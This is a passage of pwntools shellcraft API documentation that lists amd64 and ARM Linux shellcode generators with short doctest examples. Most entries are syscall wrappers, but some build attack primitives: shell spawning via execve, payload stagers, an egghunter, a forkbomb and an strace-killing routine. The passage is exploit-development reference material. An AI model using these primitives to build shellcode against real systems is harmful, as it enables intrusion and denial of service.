pwnlib.shellcraft.amd64.linux.settimeofday(tv, tz)

Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.

Parameters

- tv (timeval) tv
- tz(timezone) tz

pwnlib.shellcraft.amd64.linux.setuid(uid)

Invokes the syscall setuid. See 'man 2 setuid' for more information.

Parameters uid (uid_t) - uid

pwnlib.shellcraft.amd64.linux.sh()

Execute a different process.

```
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.amd64.linux.sigaction(sig, act, oact)

Invokes the syscall sigaction. See 'man 2 sigaction' for more information.

Parameters

- **sig** (int) **sig**
- act (sigaction) act
- oact (sigaction) oact

pwnlib.shellcraft.amd64.linux.sigaltstack(ss, oss)

Invokes the syscall sigaltstack. See 'man 2 sigaltstack' for more information.

Parameters

- ss (sigaltstack) ss
- oss (sigaltstack) oss

 $\verb|pwnlib.shellcraft.amd64.linux.signal| (sig, handler)$

Invokes the syscall signal. See 'man 2 signal' for more information.

Parameters

- **sig**(*int*) **sig**
- handler (sighandler_t) handler

pwnlib.shellcraft.amd64.linux.sigpending(set)

Invokes the syscall sigpending. See 'man 2 sigpending' for more information.

Parameters set (sigset_t) - set

```
pwnlib.shellcraft.amd64.linux.sigprocmask (how, set, oset, sigsetsize) Invokes the syscall sigprocmask. See 'man 2 sigprocmask' for more information.
```

Parameters

- **how** (*int*) how
- **set** (sigset_t) set
- oset (sigset_t) oset
- sigsetsize (size_t) sigsetsize

```
pwnlib.shellcraft.amd64.linux.sigreturn()
```

Invokes the syscall sigreturn. See 'man 2 sigreturn' for more information.

```
pwnlib.shellcraft.amd64.linux.sigsuspend(set)
```

Invokes the syscall sigsuspend. See 'man 2 sigsuspend' for more information.

```
Parameters set (sigset_t) - set
```

```
pwnlib.shellcraft.amd64.linux.socket (network='ipv4', proto='tcp')
Creates a new socket
```

pwnlib.shellcraft.amd64.linux.splice(fdin, offin, fdout, offout, length, flags)

Invokes the syscall splice. See 'man 2 splice' for more information.

Parameters

- fdin (int) fdin
- offin (off64 t) offin
- **fdout** (*int*) fdout
- offout (off64_t) offout
- **len** (*size_t*) len
- flags (unsigned) flags

pwnlib.shellcraft.amd64.linux.stage(fd=0, length=None)

Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

```
pwnlib.shellcraft.amd64.linux.stager(sock, size, handle_error=False)
```

Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. After running the socket will be left in RDI. :param sock, the socket to read the payload from.: :param size, the size of the payload:

pwnlib.shellcraft.amd64.linux.stat(file, buf)

Invokes the syscall stat. See 'man 2 stat' for more information.

Parameters

- file (char) file
- **buf** (stat) buf

pwnlib.shellcraft.amd64.linux.stat64(file, buf)

Invokes the syscall stat64. See 'man 2 stat64' for more information.

Parameters

- file (char) file
- **buf** (stat64) buf

pwnlib.shellcraft.amd64.linux.stime(when)

Invokes the syscall stime. See 'man 2 stime' for more information.

pwnlib.shellcraft.amd64.linux.strace_dos()

Kills strace

pwnlib.shellcraft.amd64.linux.stty(fd, params)

Invokes the syscall stty. See 'man 2 stty' for more information.

Parameters

- **fd** (int) fd
- params (sgttyb) params

pwnlib.shellcraft.amd64.linux.symlink(from_, to)

Invokes the syscall symlink. See 'man 2 symlink' for more information.

Parameters

- from (char) from
- to (char) to

pwnlib.shellcraft.amd64.linux.symlinkat(from_, tofd, to)

Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information.

Parameters

- from (char) from
- tofd(int)-tofd
- to (char) to

pwnlib.shellcraft.amd64.linux.sync()

Invokes the syscall sync. See 'man 2 sync' for more information.

Arguments

pwnlib.shellcraft.amd64.linux.sync_file_range (fd, offset, count, flags)
Invokes the syscall sync_file_range. See 'man 2 sync_file_range' for more information.

- **fd**(int)-fd
- offset (off64 t) offset

```
• count (off64_t) - count
```

• flags (unsigned) - flags

pwnlib.shellcraft.amd64.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().

Example

```
>>> print pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip()
    /* call execve(1, 'rsp', 2, 0) */
    xor r10d, r10d /* 0 */
    push (SYS_execve) /* 0x3b */
    pop rax
    push 1
    pop rdi
    push 2
    pop rdx
   mov rsi, rsp
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).rstrip()
   /* call execve(2, 1, 0, -1) */
    push -1
    pop r10
    push (SYS_execve) /* 0x3b */
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq /* rdx=0 */
    svscall
>>> print pwnlib.shellcraft.amd64.linux.syscall().rstrip()
   /* call syscall() */
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip()
    /* call syscall('rax', 'rdi', 'rsi') */
    /* setregs noop */
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip()
    /* call syscall('rbp', ?, ?, 1) */
    mov rax, rbp
    push 1
    pop rdx
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall(
                  'SYS_mmap', 0, 0x1000,
                  'PROT_READ | PROT_WRITE | PROT_EXEC',
. . .
                  'MAP_PRIVATE | MAP_ANONYMOUS',
. . .
                  -1, 0).rstrip()
    /* call mmap(0, 4096, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop r10
    push -1
    pop r8
```

```
xor r9d, r9d /* 0 */
push (SYS_mmap) /* 9 */
pop rax
xor edi, edi /* 0 */
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rdx
mov esi, 0x1010101 /* 4096 == 0x1000 */
xor esi, 0x1011101
syscall
```

pwnlib.shellcraft.amd64.linux.syslog(pri, fmt, vararg)

Invokes the syscall syslog. See 'man 2 syslog' for more information.

Parameters

- **pri** (*int*) **pri**
- fmt (char) fmt
- **vararg** (*int*) vararg

pwnlib.shellcraft.amd64.linux.**tee** (fdin, fdout, length, flags)
Invokes the syscall tee. See 'man 2 tee' for more information.

Parameters

- fdin (int) fdin
- **fdout** (*int*) fdout
- **len** (*size t*) len
- flags (unsigned) flags

pwnlib.shellcraft.amd64.linux.time(timer)

Invokes the syscall time. See 'man 2 time' for more information.

Parameters timer (time_t) - timer

pwnlib.shellcraft.amd64.linux.timer_create (clock_id, evp, timerid)
Invokes the syscall timer_create. See 'man 2 timer_create' for more information.

Parameters

- clock_id (clockid_t) clock_id
- **evp** (sigevent) **evp**
- timerid (timer_t) timerid

pwnlib.shellcraft.amd64.linux.timer_delete(timerid)

Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information.

Parameters timerid (timer_t) - timerid

pwnlib.shellcraft.amd64.linux.timer_getoverrum(timerid)

Invokes the syscall timer_getoverrun. See 'man 2 timer_getoverrun' for more information.

Parameters timerid (timer_t) - timerid

pwnlib.shellcraft.amd64.linux.timer_gettime(timerid, value)

Invokes the syscall timer_gettime. See 'man 2 timer_gettime' for more information.

Parameters

• **timerid**(timer_t) - timerid

• value (itimerspec) - value

pwnlib.shellcraft.amd64.linux.timer_settime (timerid, flags, value, ovalue)
Invokes the syscall timer settime. See 'man 2 timer settime' for more information.

Parameters

- timerid(timer_t) timerid
- flags (int) flags
- value (itimerspec) value
- ovalue (itimerspec) ovalue

pwnlib.shellcraft.amd64.linux.truncate(file, length)

Invokes the syscall truncate. See 'man 2 truncate' for more information.

Parameters

- file (char) file
- length (off_t) length

pwnlib.shellcraft.amd64.linux.truncate64(file, length)

Invokes the syscall truncate64. See 'man 2 truncate64' for more information.

Parameters

- file (char) file
- **length** (off64_t) length

pwnlib.shellcraft.amd64.linux.ulimit(cmd, vararg)

Invokes the syscall ulimit. See 'man 2 ulimit' for more information.

Parameters

- cmd (int) cmd
- **vararg** (int) vararg

pwnlib.shellcraft.amd64.linux.umask(mask)

Invokes the syscall umask. See 'man 2 umask' for more information.

pwnlib.shellcraft.amd64.linux.uname(name)

Invokes the syscall uname. See 'man 2 uname' for more information.

pwnlib.shellcraft.amd64.linux.unlink(name)

Invokes the syscall unlink. See 'man 2 unlink' for more information.

Parameters name (char) – name

pwnlib.shellcraft.amd64.linux.unlinkat(fd, name, flag)

Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.

- fd(int)-fd
- name (char) name
- flag(int) flag

pwnlib.shellcraft.amd64.linux.unshare(flags)

Invokes the syscall unshare. See 'man 2 unshare' for more information.

Parameters flags (int) - flags

pwnlib.shellcraft.amd64.linux.ustat(dev, ubuf)

Invokes the syscall ustat. See 'man 2 ustat' for more information.

Parameters

- **dev** (dev t) dev
- **ubuf** (ustat) ubuf

pwnlib.shellcraft.amd64.linux.utime(file, file_times)

Invokes the syscall utime. See 'man 2 utime' for more information.

Parameters

- file (char) file
- file_times (utimbuf) file_times

pwnlib.shellcraft.amd64.linux.utimensat(fd, path, times, flags)

Invokes the syscall utimensat. See 'man 2 utimensat' for more information.

Parameters

- fd(int)-fd
- path (char) path
- times (timespec) times
- flags (int) flags

pwnlib.shellcraft.amd64.linux.utimes (file, tvp)

Invokes the syscall utimes. See 'man 2 utimes' for more information.

Parameters

- file (char) file
- tvp (timeval) tvp

pwnlib.shellcraft.amd64.linux.vfork()

Invokes the syscall vfork. See 'man 2 vfork' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.vhangup()

Invokes the syscall vhangup. See 'man 2 vhangup' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.vmsplice(fdout, iov, count, flags)

Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.

- **fdout** (*int*) fdout
- **iov** (*iovec*) **iov**
- count (size_t) count
- flags (unsigned) flags

pwnlib.shellcraft.amd64.linux.wait4 (pid, stat_loc, options, usage)
Invokes the syscall wait4. See 'man 2 wait4' for more information.

Parameters

- **pid** (pid_t) **pid**
- stat loc (WAIT STATUS) stat loc
- options (int) options
- usage (rusage) usage

pwnlib.shellcraft.amd64.linux.waitid(idtype, id, infop, options)
Invokes the syscall waitid. See 'man 2 waitid' for more information.

Parameters

- idtype (idtype_t) idtype
- id(id_t)-id
- infop (siginfo_t) infop
- options (int) options

pwnlib.shellcraft.amd64.linux.waitpid(pid, stat_loc, options)
Invokes the syscall waitpid. See 'man 2 waitpid' for more information.

Parameters

- **pid** (pid_t) **pid**
- stat_loc(int) stat_loc
- options (int) options

pwnlib.shellcraft.amd64.linux.write (fd, buf, n)

Invokes the syscall write. See 'man 2 write' for more information.

Parameters

- **fd**(int)-fd
- buf (void) buf
- **n**(size_t)-n

pwnlib.shellcraft.amd64.linux.writeloop(readsock=0, writesock=1)

Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

pwnlib.shellcraft.amd64.linux.writev(fd, iovec, count)

Invokes the syscall writev. See 'man 2 writev' for more information.

- **fd** (int) fd
- iovec (iovec) iovec
- count (int) count

pwnlib.shellcraft.arm - Shellcode for ARM

```
pwnlib.shellcraft.arm
```

Shellcraft module containing generic ARM little endian shellcodes.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

```
pwnlib.shellcraft.arm.infloop()
```

An infinite loop.

```
pwnlib.shellcraft.arm.itoa(v, buffer='sp', allocate_stack=True)
```

Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- $\mathbf{v}(str, int)$ Integer constant or register that contains the value to convert.
- alloca -

Example

```
>>> sc = shellcraft.arm.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.arm.itoa('r0')
>>> sc += shellcraft.arm.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

```
pwnlib.shellcraft.arm.memcpy (dest, src, n)
```

Copies memory.

Parameters

- dest Destination address
- src Source address
- **n** Number of bytes

```
pwnlib.shellcraft.arm.mov(dst, src)
```

Move src into dest.

Support for automatically avoiding newline and null bytes has to be done.

If src is a string that is not a register, then it will locally set *context.arch* to 'arm' and use pwnlib.constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Examples

```
>>> print shellcraft.arm.mov('r0','r1').rstrip()
   mov r0, r1
>>> print shellcraft.arm.mov('r0', 5).rstrip()
   mov r0, #5
>>> print shellcraft.arm.mov('r0', 0x34532).rstrip()
   movw r0, #0x34532 & 0xffff
   movt r0, \#0x34532 >> 16
>>> print shellcraft.arm.mov('r0', 0x101).rstrip()
   movw r0, #0x101
>>> print shellcraft.arm.mov('r0', 0xff << 14).rstrip()
   mov r0, #0x3fc000
>>> print shellcraft.arm.mov('r0', 0xff << 15).rstrip()
   movw r0, \#0x7f8000 & 0xffff
   movt r0, #0x7f8000 >> 16
>>> print shellcraft.arm.mov('r0', 0xf00d0000).rstrip()
   eor r0, r0
   movt r0, #0xf00d0000 >> 16
>>> print shellcraft.arm.mov('r0', 0xffff00ff).rstrip()
   mvn r0, \#(0xffff00ff ^ (-1))
>>> print shellcraft.arm.mov('r0', 0x1ffffffff).rstrip()
   mvn r0, \#(0x1ffffffff ^ (-1))
```

Parameters

- **dest** (str) ke destination register.
- **src** (*str*) Either the input register, or an immediate value.

```
pwnlib.shellcraft.arm.nop()
```

A nop instruction.

```
pwnlib.shellcraft.arm.push(word, register='r12')
```

Pushes a 32-bit integer onto the stack. Uses r12 as a temporary register.

r12 is defined as the inter-procedural scartch register (\$ip), so this should not interfere with most usage.

Parameters

- word (int, str) The word to push
- **tmpreg** (str) Register to use as a temporary register. R7 is used by default.

pwnlib.shellcraft.arm.pushstr(string, append_null=True, register='r7')

Pushes a string onto the stack.

Parameters

- **string** (*str*) The string to push.
- append_null (bool) Whether to append a single NULL-byte before pushing.
- **register** (*str*) Temporary register to use. By default, R7 is used.

Examples

```
>>> print shellcraft.arm.pushstr("Hello!").rstrip()
   /* push 'Hello!\x00A' */
   movw r7, #0x4100216f & 0xffff
```

```
movt r7, #0x4100216f >> 16
push {r7}
movw r7, #0x6c6c6548 & 0xffff
movt r7, #0x6c6c6548 >> 16
push {r7}
```

pwnlib.shellcraft.arm.pushstr_array(reg, array)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (str) Destination register to hold the pointer.
- **array** (str, list) Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

```
pwnlib.shellcraft.arm.ret (return_value=None)
    A single-byte RET instruction.
```

Parameters return_value - Value to return

Examples

```
>>> with context.local(arch='arm'):
...    print enhex(asm(shellcraft.ret()))
...    print enhex(asm(shellcraft.ret(0)))
...    print enhex(asm(shellcraft.ret(0xdeadbeef)))
1eff2fe1
000020e01eff2fe1
ef0e0be3ad0e4de31eff2fe1
```

pwnlib.shellcraft.arm.setregs(reg_context, stack_allowed=True)

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- reg_context (dict) Desired register context
- stack allowed (bool) Can the stack be used?

Example

```
>>> print shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip()
    mov r0, #1
    mov r2, r3
>>> print shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip()
    mov r2, r3
    eor r0, r0, r1 /* xchg r0, r1 */
    eor r1, r0, r1
    eor r0, r0, r1
```

```
pwnlib.shellcraft.arm.to_thumb(reg=None, avoid=[])
```

Go from ARM to THUMB mode.

```
pwnlib.shellcraft.arm.trap()
```

A trap instruction.

```
pwnlib.shellcraft.arm.udiv_10(N)
```

Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py

With code: python magic.py 10 code_for_unsigned

pwnlib.shellcraft.arm.xor(key, address, count)

XORs data a constant value.

Parameters

- **key** (*int*, *str*) XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- address (int) Address of the data (e.g. 0xdead0000, 'rsp')
- **count** (*int*) Number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.arm.linux

Shellcraft module containing ARM shellcodes for Linux.

```
pwnlib.shellcraft.arm.linux.accept (fd, addr, addr_len)
```

Invokes the syscall accept. See 'man 2 accept' for more information.

Parameters

- fd(int)-fd
- addr (SOCKADDR_ARG) addr
- addr_len (socklen_t) addr_len

pwnlib.shellcraft.arm.linux.access(name, type)

Invokes the syscall access. See 'man 2 access' for more information.

Parameters

- name (char) name
- **type** (*int*) type

pwnlib.shellcraft.arm.linux.acct(name)

Invokes the syscall acct. See 'man 2 acct' for more information.

```
Parameters name (char) - name
```

```
pwnlib.shellcraft.arm.linux.alarm(seconds)
```

Invokes the syscall alarm. See 'man 2 alarm' for more information.

Parameters seconds (unsigned) - seconds

pwnlib.shellcraft.arm.linux.bind(fd, addr, length)

Invokes the syscall bind. See 'man 2 bind' for more information.

Parameters

- **fd** (int) fd
- addr (CONST_SOCKADDR_ARG) addr
- len(socklen_t)-len

pwnlib.shellcraft.arm.linux.brk(addr)

Invokes the syscall brk. See 'man 2 brk' for more information.

Parameters addr (void) – addr

```
pwnlib.shellcraft.arm.linux.cacheflush()
```

Invokes the cache-flush operation, without using any NULL or newline bytes.

Effectively is just:

mov r0, #0 mov r1, #-1 mov r2, #0 swi 0x9F0002

How this works:

... However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifyign code, the argument will be read correctly.

```
pwnlib.shellcraft.arm.linux.cat(filename, fd=1)
```

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
'FLAG\n'
```

pwnlib.shellcraft.arm.linux.chdir(path)

Invokes the syscall chdir. See 'man 2 chdir' for more information.

Parameters path (char) - path

pwnlib.shellcraft.arm.linux.chmod(file, mode)

Invokes the syscall chmod. See 'man 2 chmod' for more information.

Parameters

- file (char) file
- mode (mode_t) mode

pwnlib.shellcraft.arm.linux.chown (file, owner, group)

Invokes the syscall chown. See 'man 2 chown' for more information.

- file (char) file
- owner (uid_t) owner
- **group** (*gid_t*) **group**

pwnlib.shellcraft.arm.linux.chroot(path)

Invokes the syscall chroot. See 'man 2 chroot' for more information.

Parameters path (char) – path

pwnlib.shellcraft.arm.linux.clock_getres(clock_id, res)

Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information.

Parameters

- clock id (clockid t) clock id
- res(timespec)-res

pwnlib.shellcraft.arm.linux.clock_gettime(clock_id, tp)

Invokes the syscall clock_gettime. See 'man 2 clock_gettime' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- **tp** (timespec) **tp**

pwnlib.shellcraft.arm.linux.clock_nanosleep(clock_id, flags, req, rem)

Invokes the syscall clock nanosleep. See 'man 2 clock nanosleep' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- flags (int) flags
- req(timespec) req
- rem (timespec) rem

pwnlib.shellcraft.arm.linux.clock_settime(clock_id, tp)

Invokes the syscall clock_settime. See 'man 2 clock_settime' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- **tp** (timespec) **tp**

pwnlib.shellcraft.arm.linux.clone(fn, child_stack, flags, arg, vararg)

Invokes the syscall clone. See 'man 2 clone' for more information.

Parameters

- **fn** (int) fn
- child stack (void) child stack
- flags (int) flags
- arg (void) arg
- **vararg** (int) vararg

pwnlib.shellcraft.arm.linux.close(fd)

Invokes the syscall close. See 'man 2 close' for more information.

pwnlib.shellcraft.arm.linux.connect(host, port, network='ipv4')

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

```
pwnlib.shellcraft.arm.linux.creat (file, mode)
```

Invokes the syscall creat. See 'man 2 creat' for more information.

Parameters

- file (char) file
- **mode** (*mode_t*) **mode**

pwnlib.shellcraft.arm.linux.dir(in_fd='r6', size=2048, allocate_stack=True)
Reads to the stack from a directory.

Parameters

- in_fd (int/str) File descriptor to be read from.
- size (int) Buffer size.
- allocate_stack (bool) allocate 'size' bytes on the stack.

You can optioanly shave a few bytes not allocating the stack space.

The size read is left in eax.

```
pwnlib.shellcraft.arm.linux.dup(fd)
```

Invokes the syscall dup. See 'man 2 dup' for more information.

```
pwnlib.shellcraft.arm.linux.dup2(fd, fd2)
```

Invokes the syscall dup2. See 'man 2 dup2' for more information.

Parameters

- **fd**(int)-fd
- **fd2** (int) fd2

pwnlib.shellcraft.arm.linux.dup3(fd,fd2,flags)

Invokes the syscall dup3. See 'man 2 dup3' for more information.

Parameters

- fd(int)-fd
- **fd2** (int) fd2
- flags (int) flags

pwnlib.shellcraft.arm.linux.echo(string, sock='1')

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

```
pwnlib.shellcraft.arm.linux.egghunter(egg, start_address = 0, double_check = True)
```

Searches for an egg, which is either a four byte integer or a four byte string. The egg must appear twice in a row if double_check is True. When the egg has been found the egghunter branches to the address following it. If start_address has been specified search will start on the first address of the page that contains that address.

```
\verb|pwnlib.shellcraft.arm.linux.epoll_create| (size)
```

Invokes the syscall epoll_create. See 'man 2 epoll_create' for more information.

Parameters size (int) - size

```
pwnlib.shellcraft.arm.linux.epoll_create1 (flags)
```

Invokes the syscall epoll_create1. See 'man 2 epoll_create1' for more information.

Parameters flags (int) - flags

pwnlib.shellcraft.arm.linux.epoll_ctl(epfd, op, fd, event)

Invokes the syscall epoll_ctl. See 'man 2 epoll_ctl' for more information.

Parameters

- epfd (int) epfd
- **op** (int) **op**
- **fd** (int) fd
- event (epoll_event) event

pwnlib.shellcraft.arm.linux.epoll_pwait (epfd, events, maxevents, timeout, ss)
Invokes the syscall epoll_pwait. See 'man 2 epoll_pwait' for more information.

Parameters

- epfd(int)-epfd
- events (epoll_event) events
- maxevents (int) maxevents
- timeout (int) timeout
- **ss** (sigset_t) ss

pwnlib.shellcraft.arm.linux.epoll_wait (*epfd*, *events*, *maxevents*, *timeout*) Invokes the syscall epoll_wait. See 'man 2 epoll_wait' for more information.

Parameters

- epfd(int)-epfd
- events (epoll_event) events
- maxevents (int) maxevents
- timeout (int) timeout

pwnlib.shellcraft.arm.linux.execve(path='/bin///sh', argv=[], envp={})
 Execute a different process.

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': 3}
>>> sc = shellcraft.arm.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
'Hello, zerocool\n'
>>> io.poll(True)
3
```

pwnlib.shellcraft.arm.linux.exit(status)

Invokes the syscall exit. See 'man 2 exit' for more information.

Parameters status (int) – status

pwnlib.shellcraft.arm.linux.faccessat (fd, file, type, flag)

Invokes the syscall faccessat. See 'man 2 faccessat' for more information.

Parameters

- **fd**(int)-fd
- file (char) file
- **type** (*int*) type
- flag(int) flag

pwnlib.shellcraft.arm.linux.fallocate(fd, mode, offset, length)

Invokes the syscall fallocate. See 'man 2 fallocate' for more information.

Parameters

- fd(int)-fd
- mode (int) mode
- offset (off t) offset
- **len** (off_t) len

pwnlib.shellcraft.arm.linux.fchdir(fd)

Invokes the syscall fehdir. See 'man 2 fehdir' for more information.

pwnlib.shellcraft.arm.linux.fchmod(fd, mode)

Invokes the syscall fchmod. See 'man 2 fchmod' for more information.

Parameters

- **fd**(int)-fd
- mode (mode_t) mode

pwnlib.shellcraft.arm.linux.fchmodat(fd, file, mode, flag)

Invokes the syscall fchmodat. See 'man 2 fchmodat' for more information.

Parameters

- **fd**(int)-fd
- file (char) file
- mode (mode t) mode
- flag(int) flag

pwnlib.shellcraft.arm.linux.fchown(fd, owner, group)

Invokes the syscall fchown. See 'man 2 fchown' for more information.

Parameters

- **fd**(int)-fd
- owner (uid_t) owner
- **group** (*gid_t*) **group**

 $\verb|pwnlib.shellcraft.arm.linux.fchownat| (\textit{fd}, \textit{file}, \textit{owner}, \textit{group}, \textit{flag}) \\$

Invokes the syscall fchownat. See 'man 2 fchownat' for more information.

- **fd** (int) fd
- file (char) file
- owner (uid_t) owner
- **group** (gid_t) group
- flag(int)-flag

pwnlib.shellcraft.arm.linux.fcntl(fd, cmd, vararg)

Invokes the syscall fcntl. See 'man 2 fcntl' for more information.

Parameters

- fd(int)-fd
- cmd (int) cmd
- vararg (int) vararg

pwnlib.shellcraft.arm.linux.fdatasync(fildes)

Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.

pwnlib.shellcraft.arm.linux.flock(fd, operation)

Invokes the syscall flock. See 'man 2 flock' for more information.

Parameters

- **fd**(int)-fd
- operation (int) operation

pwnlib.shellcraft.arm.linux.fork()

Invokes the syscall fork. See 'man 2 fork' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.forkbomb()

Performs a forkbomb attack.

pwnlib.shellcraft.arm.linux.forkexit()

Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.arm.linux.fstat(fd, buf)

Invokes the syscall fstat. See 'man 2 fstat' for more information.

Parameters

- fd(int)-fd
- buf (stat) buf

pwnlib.shellcraft.arm.linux.fstat64(fd, buf)

Invokes the syscall fstat64. See 'man 2 fstat64' for more information.

Parameters

- **fd** (int) fd
- **buf** (stat64) buf

pwnlib.shellcraft.arm.linux.fstatat64 (fd, file, buf, flag)

Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information.

- **fd** (int) fd
- file (char) file
- **buf** (stat64) buf
- flag(int)-flag

pwnlib.shellcraft.arm.linux.fsync(fd)

Invokes the syscall fsync. See 'man 2 fsync' for more information.

pwnlib.shellcraft.arm.linux.ftruncate(fd, length)

Invokes the syscall ftruncate. See 'man 2 ftruncate' for more information.

Parameters

- fd (int) fd
- length (off_t) length

pwnlib.shellcraft.arm.linux.ftruncate64 (fd, length)

Invokes the syscall ftruncate64. See 'man 2 ftruncate64' for more information.

Parameters

- fd(int)-fd
- length (off64_t) length

pwnlib.shellcraft.arm.linux.futimesat(fd, file, tvp)

Invokes the syscall futimesat. See 'man 2 futimesat' for more information.

Parameters

- **fd**(int)-fd
- file (char) file
- tvp (timeval) tvp

pwnlib.shellcraft.arm.linux.getcwd(buf, size)

Invokes the syscall getcwd. See 'man 2 getcwd' for more information.

Parameters

- buf (char) buf
- **size** (*size_t*) **size**

 $\verb|pwnlib.shellcraft.arm.linux.getdents| (\textit{fd}, \textit{dirp}, \textit{count})$

Invokes the syscall getdents. See 'man 2 getdents' for more information.

Parameters

- **fd** (int) fd
- **dirp** (*int*) dirp
- count (int) count

pwnlib.shellcraft.arm.linux.getegid()

Invokes the syscall getegid. See 'man 2 getegid' for more information.

Arguments:

```
pwnlib.shellcraft.arm.linux.geteuid()
```

Invokes the syscall geteuid. See 'man 2 geteuid' for more information.

Arguments:

```
pwnlib.shellcraft.arm.linux.getgid()
```

Invokes the syscall getgid. See 'man 2 getgid' for more information.

Arguments:

Invokes the syscall getgroups. See 'man 2 getgroups' for more information.

Parameters

- size (int) size
- **list** (*gid_t*) list

pwnlib.shellcraft.arm.linux.getitimer(which, value)

Invokes the syscall getitimer. See 'man 2 getitimer' for more information.

Parameters

- which (itimer_which_t) which
- value (itimerval) value

pwnlib.shellcraft.arm.linux.getpeername(fd, addr, length)

Invokes the syscall getpeername. See 'man 2 getpeername' for more information.

Parameters

- **fd** (int) fd
- addr (SOCKADDR_ARG) addr
- len (socklen_t) len

pwnlib.shellcraft.arm.linux.getpgid(pid)

Invokes the syscall getpgid. See 'man 2 getpgid' for more information.

pwnlib.shellcraft.arm.linux.getpgrp()

Invokes the syscall getpgrp. See 'man 2 getpgrp' for more information.

Arguments:

Invokes the syscall getpid. See 'man 2 getpid' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.getpmsg(fildes, ctlptr, dataptr, bandp, flagsp)

Invokes the syscall getpmsg. See 'man 2 getpmsg' for more information.

- fildes (int) fildes
- ctlptr (strbuf) ctlptr
- dataptr (strbuf) dataptr
- bandp (int) bandp
- flagsp (int) flagsp

pwnlib.shellcraft.arm.linux.getppid()

Invokes the syscall getppid. See 'man 2 getppid' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.getpriority(which, who)

Invokes the syscall getpriority. See 'man 2 getpriority' for more information.

Parameters

- which (priority which t) which
- **who** (*id_t*) who

pwnlib.shellcraft.arm.linux.getresgid(rgid, egid, sgid)

Invokes the syscall getresgid. See 'man 2 getresgid' for more information.

Parameters

- **rgid** (*gid_t*) **rgid**
- egid (gid_t) egid
- **sgid** (*gid_t*) **sgid**

pwnlib.shellcraft.arm.linux.getresuid(ruid, euid, suid)

Invokes the syscall getresuid. See 'man 2 getresuid' for more information.

Parameters

- **ruid** (*uid_t*) **ruid**
- euid (uid t) euid
- **suid** (*uid_t*) suid

